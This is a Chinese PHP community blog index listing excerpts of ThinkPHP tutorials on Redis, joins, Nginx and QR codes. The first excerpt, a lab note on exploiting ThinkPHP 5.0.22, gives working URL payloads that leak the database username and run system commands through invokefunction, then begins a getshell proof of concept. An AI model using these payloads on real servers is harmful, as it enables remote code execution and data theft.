插件应用
主题模板
讨论社区
问答
博客
学习文档
框架开发文档
模板开发文档
接口开发文档
教学视频文档
模板引擎文档
下载安装
在线演示
登录
/
注册
个人中心
我的订单
退出登录
博文列表
排序:
最新更新
热门
推荐
thinkphp5.0.22漏洞利用
一、搭建环境 phpstudy的版本大于5.0 解压源码到www下 浏览器访问 127.0.0.1/thinkphp/public/index.php 漏洞利用 ?s=.|think\config/get&name=database.username查看数据库的用户 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoamiwhoami getshell poc?s=/i
2022-07-28 14:14:58
阅读数
420
评论数
0
ThinkPHP6使用redis缓存
php安装redis扩展 redis命令 tp6缓存配置 1、安装redis扩展后运行 2、修改配置目录config下面的cache.php文件 return ['default'=>'file','stores'=>[// 文件缓存'file' =>[// 驱动方式'type' => 'file',// 设置不同的缓存保存目录'path' => '../runtime/file/',],// redis缓存'redis' =>[// 驱动方式'type' => 'redis',// 服务器地址'hos
2022-07-28 14:14:58
阅读数
330
评论数
0
ThinkPHP中的LEFT JOIN
JOIN方法也是连贯操作方法之一,用于根据两个或多个表中的列之间的关系,从这些表中查询数据。 join通常有下面几种类型,不同类型的join操作会影响返回的数据结果。 INNER JOIN: 如果表中有至少一个匹配,则返回行,等同于 JOIN LEFT JOIN: 即使右表中没有匹配,也从左表返回所有的行 RIGHT JOIN: 即使左表中没有匹配,也从右表返回所有的行 FULL JOIN: 只要其中一个表中存在匹配,就返回行 join方法可以支持以上四种类型,例如: $Model = M(
2022-07-28 14:14:58
阅读数
332
评论数
0
【微擎】ThinkPHP框架开发微擎应用?
ThinkPHP框架开发微擎应用? TP5.1 微擎中的site.php /** * * Class YcModuleSite */class YcModuleSite extends WeModuleSite {public function __call($name, $arguments){include __DIR__.'/public/index.php';exit;}} ThinkPHP5.1中的index.php
2022-07-28 14:14:58
阅读数
278
评论数
0
ThinkPHP5.0之运行原理及使用
ThinkPHP5.0之运行原理 目录结构 application 应用目录 ---|index 模块---|controller 控制器---|model 模型---|view视图---|config.php 模块配置文件 服务的对象是index模块---|database.php 模块数据库的配置文件,服务的对象是index模块---|common.php 模块公共函数文件,服务的对象是index模块 ---|common.php 模块的公共文件(公共函数 调用第三方类库 发送邮件 发送短信...)
2022-07-28 14:14:58
阅读数
273
评论数
0
thinkphp部署到Nginx
thinkphp部署到Nginx server {listen 3100;server_name test.lonf.cn;index index.php index.html;root /var/www/html/gcccom;location ~ \.php$ {try_files $uri =404;fastcgi_split_path_info ^(.+\.php)(/.+)$;fastcgi_pass phpfpm:9000;fastcgi_index index.php;include fas
2022-07-28 14:14:58
阅读数
290
评论数
0
用ThinkPHP6操作Redis集群
用ThinkPHP6操作Redis集群 仅作为Shane个人笔记 仅作为Shane个人笔记 上一篇文章Shane记录了自己搭建Redis集群的过程这一篇Shane准备记录如何使用TP6框架操作搭建好的集群以下代码中出现的show方法均为Shane写的用来返回统一数据的接口方法 创建测试模块 Shane取名为cluster在其中创建controller和config文件夹 配置连接 将TP6框架根目录config文件夹下的cache.php配置文件复制一份到cluster下的config在stores里
2022-07-28 14:14:58
阅读数
355
评论数
0
thinkphp中eq标签的用法
thinkphp中的eq标签,好像并不常用,但却必不可少 举个例子,像某个状态,开关等等,又不能直接将数据库中的字段读给客户看,客户也看不明白,是吧。 所以我们可以使用eq标签来解决这个小问题。 例如:我在数据库中有status字段,表示某一状态,我规定它:0为未激活,1为激活 那现在我要将整个表的数据展示给用户看,我要怎么做呢? 可以肯定的事,我们肯定不能直接将0和1读出来,在前台模板中, 像这样:{$vo.status} 直接让用户看。这样不理想。客户体验一定很差。。。 解决办法: 使用eq标签判断一
2022-07-28 14:14:58
阅读数
255
评论数
0
thinkphp6使用配置redis
使用composer安装 composer require predis/predis,.env加入如下配置: [REDIS]HOST=127.0.0.1scheme=tcpPORT=6379CACHE_DB=0TOKEN_DB=1PASSWORD=admin config下redis配置文件redis.php
2022-07-28 14:14:58
阅读数
306
评论数
0
thinkphp6项目使用phpqrcode生成二维码
首先下载phpqrcode扩展文件 phpqrcode下载链接 下载完之后把文件解压到根目录下的vendor中 需要用到的参数: 第一个参数$text,就是代码里的URL网址参数, 第二个参数$outfile默认为否,不生成文件,只将二维码图片返回,否则需要给出存放生成二维码图片的路径 第三个参数$level默认为L,这个参数可传递的值分别是L(QR_ECLEVEL_L,7%),M(QR_ECLEVEL_M,15%),Q(QR_ECLEVEL_Q,25%),H(QR_ECLEVEL_H,30%)。这个参数
2022-07-28 14:14:58
阅读数
373
评论数
0
共 6126 条
上一页
1
2
...
603
604
605
606
607
608
609
...
612
613
下一页
发帖
加入PHP技术QQ群
一个专属于OneKeyAdmin的技术交流平台,记录OneKeyAdmin开发者的成长与进步。
主题帖
6221
回帖数
145
登陆 /
注册
文章
-
评论
-
粉丝
-
热门帖子
1 WordPress Rest API 入门详解
3195
2 Yandex企业邮箱注册
3157
3 Thinkphp5.0 获取新增数据的ID
2910
4 thinkphp5 解决跨域问题
2487
5 Thinkphp6 的 where 查询条件 and 和 or 的 操作
2201
6 PHP的exec()函数用法详解
2120
7 Vue3官网使用及简介
1975
8 thinkphp6配置连接微软的sqlserver数据库
1922
9 Thinkphp如何查看当前是哪个版本?查看thinkphp当前版本号的三种方法
1873
10 thinkphp5使用数据库表锁
1831